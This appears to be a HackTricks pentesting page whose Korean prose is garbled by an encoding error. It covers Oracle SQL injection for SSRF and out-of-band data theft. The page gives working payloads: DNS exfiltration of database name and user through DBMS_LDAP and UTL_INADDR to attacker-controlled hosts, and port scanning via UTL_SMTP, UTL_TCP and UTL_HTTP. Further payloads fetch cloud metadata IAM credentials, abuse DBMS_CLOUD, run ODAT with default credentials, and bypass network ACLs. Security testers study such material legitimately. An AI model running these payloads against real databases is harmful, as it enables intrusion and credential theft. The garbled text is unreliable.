Oracle injection
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μ΄ κ²μλ¬Όμ λν μμ λ κ²μλ¬Όμ Wayback Machine 볡μ¬λ³Έμ μ 곡νμμμ€: https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Oracleμ μ¬μ©νμ¬ Out of Band HTTP λ° DNS μμ²μ μννλ κ²μ μ λ¬Έμνλμ΄ μμ§λ§, SQL λ°μ΄ν° μ μΆ μλ¨μΌλ‘μμ μ£Όλͺ©μ λ°κ³ μμ΅λλ€. μ°λ¦¬λ νμ μ΄λ¬ν κΈ°μ /ν¨μλ₯Ό μμ νμ¬ λ€λ₯Έ SSRF/XSPAλ₯Ό μνν μ μμ΅λλ€.
Oracle μ€μΉλ μ λ§ κ³ ν΅μ€λ¬μΈ μ μμΌλ©°, νΉν λͺ λ Ήμ μλνκΈ° μν΄ λΉ λ₯Έ μΈμ€ν΄μ€λ₯Ό μ€μ νλ €λ κ²½μ°μλ λμ± κ·Έλ μ΅λλ€. Appseccoμ μΉκ΅¬μ΄μ λλ£μΈ Abhisek Dattaκ° μ μκ² https://github.com/MaksymBilenko/docker-oracle-12cλ₯Ό μλ €μ£Όμκ³ , μ΄λ₯Ό ν΅ν΄ t2.large AWS Ubuntu λ¨Έμ κ³Ό Dockerμμ μΈμ€ν΄μ€λ₯Ό μ€μ ν μ μμμ΅λλ€.
μ λ μ΄ λΈλ‘κ·Έ κ²μλ¬Όμ κ³Όμ μμ Oracleμ λ€μ΄ν°λΈ μ€μΉμ²λΌ μ 체 λ€νΈμν¬ μ‘μΈμ€λ₯Ό κ°μ§ μνλ‘ λͺ¨λ°©ν μ μλλ‘ --network="host" νλκ·Έμ ν¨κ» docker λͺ
λ Ήμ μ€ννμ΅λλ€.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
URL λλ νΈμ€νΈ/ν¬νΈ λ²νΈ μ¬μμ μ§μνλ Oracle ν¨ν€μ§
νΈμ€νΈ λ° ν¬νΈ μ¬μμ μ§μνλ ν¨ν€μ§μ κΈ°λ₯μ μ°ΎκΈ° μν΄, Oracle Database Online Documentationμμ Google κ²μμ μ€ννμ΅λλ€. ꡬ체μ μΌλ‘,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
κ²μ κ²°κ³Όλ λ€μκ³Ό κ°μ΅λλ€ (λͺ¨λ μΈλΆ λ€νΈμν¬λ₯Ό μννλ λ° μ¬μ©ν μ μλ κ²μ μλ)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
μ΄ κ°λ¨ν κ²μμ DBMS_LDAPμ κ°μ ν¨ν€μ§λ₯Ό λͺ
λ°±ν 건λλ°λλ°, μ΄λ νΈμ€νΈ μ΄λ¦κ³Ό ν¬νΈ λ²νΈλ₯Ό μ λ¬ν μ μκ² ν΄μ€λλ€. λ¬Έμ νμ΄μ§λ λ¨μν λ€λ₯Έ μμΉλ‘ μλ΄ν©λλ€. λ°λΌμ μ κ° λμ³€μ μ μλ μΈλΆ μμ²μ μνν μ μλ λ€λ₯Έ Oracle ν¨ν€μ§κ° μμ μ μμ΅λλ€.
μ΄μ¨λ , μ°λ¦¬κ° λ°κ²¬νκ³ λμ΄ν ν¨ν€μ§ μ€ μΌλΆλ₯Ό μ΄ν΄λ³΄κ² μ΅λλ€.
DBMS_LDAP.INIT
DBMS_LDAP ν¨ν€μ§λ LDAP μλ²μμ λ°μ΄ν°μ μ κ·Όν μ μκ² ν΄μ€λλ€. init() ν¨μλ LDAP μλ²μμ μΈμ
μ μ΄κΈ°ννλ©°, νΈμ€νΈ μ΄λ¦κ³Ό ν¬νΈ λ²νΈλ₯Ό μΈμλ‘ λ°μ΅λλ€.
μ΄ ν¨μλ DNSλ₯Ό ν΅ν΄ λ°μ΄ν° μ μΆμ 보μ¬μ£Όλ λ¬Έμνλ μκ° μμ΅λλ€, μλμ κ°μ΄.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
κ·Έλ¬λ μ΄ ν¨μκ° νΈμ€νΈ μ΄λ¦κ³Ό ν¬νΈ λ²νΈλ₯Ό μΈμλ‘ λ°μλ€μ΄κΈ° λλ¬Έμ, μ΄λ₯Ό μ¬μ©νμ¬ ν¬νΈ μ€μΊλμ²λΌ μλν μ μμ΅λλ€.
λ€μμ λͺ κ°μ§ μμ λλ€.
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.λ ν¬νΈκ° λ«ν μμμ λνλ΄μ§λ§ μΈμ
κ°μ ν¬νΈκ° μ΄λ € μμμ κ°λ¦¬ν΅λλ€.
UTL_SMTP
UTL_SMTP ν¨ν€μ§λ SMTPλ₯Ό ν΅ν΄ μ΄λ©μΌμ μ μ‘νκΈ° μν΄ μ€κ³λμμ΅λλ€. Oracle λ¬Έμ μ¬μ΄νΈμ μ 곡λ μμ λ μ΄ ν¨ν€μ§λ₯Ό μ¬μ©νμ¬ μ΄λ©μΌμ μ μ‘νλ λ°©λ²μ 보μ¬μ€λλ€. κ·Έλ¬λ μ°λ¦¬μκ² ν₯λ―Έλ‘μ΄ μ μ νΈμ€νΈ λ° ν¬νΈ μ¬μμ μ 곡ν μ μλ λ₯λ ₯μ
λλ€.
μλμλ 2μ΄μ νμμμμ κ°μ§ UTL_SMTP.OPEN_CONNECTION ν¨μμ μ‘°μ‘ν μκ° λμ μμ΅λλ€.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeoutλ ν¬νΈκ° μ΄λ € μμ§λ§ SMTP μ°κ²°μ΄ μ€μ λμ§ μμμμ λνλ΄κ³ , ORA-29278: SMTP transient error: 421 Service not availableλ ν¬νΈκ° λ«ν μμμ λνλ
λλ€.
UTL_TCP
UTL_TCP ν¨ν€μ§μ κ·Έ μ μ°¨ λ° ν¨μλ μλΉμ€μμ TCP/IP κΈ°λ° ν΅μ μ νμ©ν©λλ€. νΉμ μλΉμ€μ λν΄ νλ‘κ·Έλλ°λ κ²½μ°, μ΄ ν¨ν€μ§λ λ€νΈμν¬λ‘μ μ κ·Ό λ°©λ²μ΄ λκ±°λ λͺ¨λ TCP/IP μ°κ²°μ λͺ¨λ μΈ‘λ©΄μ μ μ΄ν μ μμΌλ―λ‘ μ 체 μλ² μΈ‘ μμ²μ μνν μ μμ΅λλ€.
Oracle λ¬Έμ μ¬μ΄νΈμ μμ λ μ΄ ν¨ν€μ§λ₯Ό μ¬μ©νμ¬ μΉ νμ΄μ§λ₯Ό κ°μ Έμ€κΈ° μν΄ μμ TCP μ°κ²°μ λ§λλ λ°©λ²μ 보μ¬μ€λλ€. μ°λ¦¬λ μ΄λ₯Ό μ‘°κΈ λ λ¨μννμ¬ λ©νλ°μ΄ν° μΈμ€ν΄μ€λ μμμ TCP/IP μλΉμ€μ μμ²μ λ§λλ λ° μ¬μ©ν μ μμ΅λλ€.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
ν₯λ―Έλ‘κ²λ, μμ TCP μμ²μ μμ±ν μ μλ λ₯λ ₯ λλΆμ μ΄ ν¨ν€μ§λ λͺ¨λ ν΄λΌμ°λ 곡κΈμμ μΈμ€ν΄μ€ λ©νλ°μ΄ν° μλΉμ€μ 쿼리νλ λ°μλ μ¬μ©λ μ μμ΅λλ€. λ©μλ μ νκ³Ό μΆκ° ν€λλ λͺ¨λ TCP μμ² λ΄μμ μ λ¬λ μ μμ΅λλ€.
UTL_HTTP λ° μΉ μμ²
μλ§λ λͺ¨λ Out of Band Oracle SQL Injection νν 리μΌμμ κ°μ₯ μΌλ°μ μ΄κ³ λ리 λ¬Έμνλ κΈ°μ μ UTL_HTTP ν¨ν€μ§μ
λλ€. μ΄ ν¨ν€μ§λ λ¬Έμμμ λ€μκ³Ό κ°μ΄ μ μλ©λλ€ - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
μ΄κ²μ μ¬μ©νμ¬ λ€μκ³Ό κ°μ μΏΌλ¦¬λ‘ κΈ°λ³Έμ μΈ ν¬νΈ μ€μΊλμ μνν μλ μμ΅λλ€.
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener λλ TNS:operation timed outλ TCP ν¬νΈκ° λ«ν μλ€λ μ νΈμ΄λ©°, ORA-29263: HTTP protocol error λλ λ°μ΄ν°λ ν¬νΈκ° μ΄λ € μλ€λ μ νΈμ
λλ€.
μ κ° κ³Όκ±°μ μ¬μ©νλ λ λ€λ₯Έ ν¨ν€μ§λ HTTPURITYPE Oracle μΆμ νμ
μ GETCLOB() λ©μλλ‘, URLκ³Ό μνΈμμ©ν μ μκ² ν΄μ£Όλ©° HTTP νλ‘ν μ½μ μ§μν©λλ€. GETCLOB() λ©μλλ URLμμ GET μλ΅μ CLOB λ°μ΄ν° νμ
μΌλ‘ κ°μ Έμ€λ λ° μ¬μ©λ©λλ€.
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
μΆκ° ν¨ν€μ§ λ° κΈ°μ (Oracle 19c β 23c)
UTL_INADDR β DNS κΈ°λ° μ μΆ λ° νΈμ€νΈ νμ
UTL_INADDRλ λ°μ΄ν°λ² μ΄μ€ νΈμ€νΈμμ μμλ°μ΄λ DNS μ‘°νλ₯Ό νΈλ¦¬κ±°νλ κ°λ¨ν μ΄λ¦ ν΄μλ λμ°λ―Έλ₯Ό λ
ΈμΆν©λλ€. λλ©μΈλ§ νμνλ―λ‘(ν¬νΈ/ACL νμ μμ) λ€λ₯Έ λ€νΈμν¬ νΈμΆμ΄ μ°¨λ¨λ λ λΈλΌμΈλ μ μΆμ μν μ λ’°ν μ μλ μμ κΈ°λ₯μ
λλ€.
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
get_host_address()λ ν΄κ²°λ IPλ₯Ό λ°νν©λλ€(ν΄κ²° μ€ν¨ μ ORA-29257 λ°μ). 곡격μλ μ½λ μ€νμ νμΈνκΈ° μν΄ μ μ΄λ λλ©μΈμμ λ€μ΄μ€λ DNS μμ²μ μ£ΌμνκΈ°λ§ νλ©΄ λ©λλ€.
DBMS_CLOUD.SEND_REQUEST β Autonomous/23cμ μ 체 HTTP ν΄λΌμ΄μΈνΈ
μ΅κ·Ό ν΄λΌμ°λ μ€μ¬ λ²μ (Autonomous Database, 21c/23c, 23ai)μλ DBMS_CLOUDκ° ν¬ν¨λμ΄ μμ΅λλ€. SEND_REQUEST ν¨μλ μ¬μ©μ μ μ λμ¬, ν€λ, TLS λ° λμ©λ λ³Έλ¬Έμ μ§μνλ λ²μ© HTTP ν΄λΌμ΄μΈνΈλ‘ μλνμ¬ κ³ μ μ μΈ UTL_HTTPλ³΄λ€ ν¨μ¬ λ κ°λ ₯ν©λλ€.
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
SEND_REQUESTκ° μμμ λμ URIλ₯Ό νμ©νκΈ° λλ¬Έμ SQLiλ₯Ό ν΅ν΄ μ
μ©λ μ μμ΅λλ€:
- λ΄λΆ ν¬νΈ μ€μΊλ / SSRFλ₯Ό ν΄λΌμ°λ λ©νλ°μ΄ν° μλΉμ€λ‘.
- HTTPSλ₯Ό ν΅ν μμ μ€λΈ λ°΄λ μ μΆ (Burp Collaborator λλ
ngrokν°λ μ¬μ©). - ACLμ μν΄ μ΄μ νΈμΆ ν¨ν€μ§κ° λΉνμ±νλμ΄λ 곡격μ μλ²λ‘μ μ½λ°±.
βΉοΈ ν΄λμ μ¨νλ λ―Έμ€ 19cλ§ μμ§λ§ Java μ μ₯ νλ‘μμ λ₯Ό μμ±ν μ μλ κ²½μ°, OCI ν΄λΌμ΄μΈνΈ λ²λ€μμ DBMS_CLOUDλ₯Ό μ€μΉν μ μλ κ²½μ°κ° μμ΅λλ€ β μΌλΆ μμ
μ μ μ©ν©λλ€.
ODATλ‘ κ³΅κ²© νλ©΄ μλν
ODAT β Oracle Database Attacking Toolμ μ΅μ 릴리μ€μ λ°λ§μΆμ΄ μμ΅λλ€ (19c, 5.1.1 β 2022λ
4μκΉμ§ ν
μ€νΈλ¨). βutl_http, βutl_tcp, βhttpuritype λ° μ΅μ βdbms_cloud λͺ¨λμ μλμΌλ‘:
- μ¬μ© κ°λ₯ν νΈμΆ ν¨ν€μ§/ACL κΆνμ κ°μ§ν©λλ€.
- λΈλΌμΈλ μΆμΆμ μν DNS λ° HTTP μ½λ°±μ νΈλ¦¬κ±°ν©λλ€.
- Burp/SQLMapμ μν λ³΅μ¬ μ€λΉκ° μλ£λ SQL νμ΄λ‘λλ₯Ό μμ±ν©λλ€.
μ: κΈ°λ³Έ μ격 μ¦λͺ μ μ¬μ©ν λΉ λ₯Έ OOB νμΈ (λ°±κ·ΈλΌμ΄λμμ ACL μ΄κ±°λ₯Ό μ²λ¦¬ν©λλ€):
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
μ΅κ·Ό λ€νΈμν¬ ACL μ ν λ° μ°ν
Oracleμ 2023λ
7μ CPUμμ κΈ°λ³Έ λ€νΈμν¬ ACLμ κ°ννμ΅λλ€ β μ΄μ κΆνμ΄ μλ κ³μ μ κΈ°λ³Έμ μΌλ‘ ORA-24247: network access denied by access control listλ₯Ό λ°μ΅λλ€. SQLiλ₯Ό ν΅ν΄ νΈμΆμ νμ©νλ λ κ°μ§ ν¨ν΄μ΄ μ¬μ ν μ‘΄μ¬ν©λλ€:
- λμ κ³μ μ΄ ν΅ν©μ μν΄ κ°λ°μκ° μΆκ°ν ACL νλͺ©(
DBMS_NETWORK_ACL_ADMIN.create_acl)μ μμ νκ³ μμ΅λλ€. - 곡격μκ°
AUTHID DEFINERλ° νμν κΆνμ μ΄λ―Έ κ°μ§ κ³ κΈ PL/SQL μ μμ κΆν 루ν΄(μ: μ¬μ©μ μ μ μ ν리μΌμ΄μ )μ μ μ©ν©λλ€.
μ
μ© μ€ ORA-24247λ₯Ό λ§λ κ²½μ° νμ μ¬μ¬μ© κ°λ₯ν νλ‘μμ λ₯Ό κ²μνμμμ€:
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
(λ§μ κ°μ¬μμ μ μ΄λ νλμ λ³΄κ³ /λ΄λ³΄λ΄κΈ° μ μ°¨κ° νμν κΆνμ κ°μ§κ³ μμμ΅λλ€).
References
- Oracle Docs β
DBMS_CLOUD.SEND_REQUESTν¨ν€μ§ μ€λͺ λ° μμ . - quentinhardy/odat β Oracle λ°μ΄ν°λ² μ΄μ€ 곡격 λꡬ (μ΅μ λ¦΄λ¦¬μ€ 5.1.1, 2022λ 4μ).
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


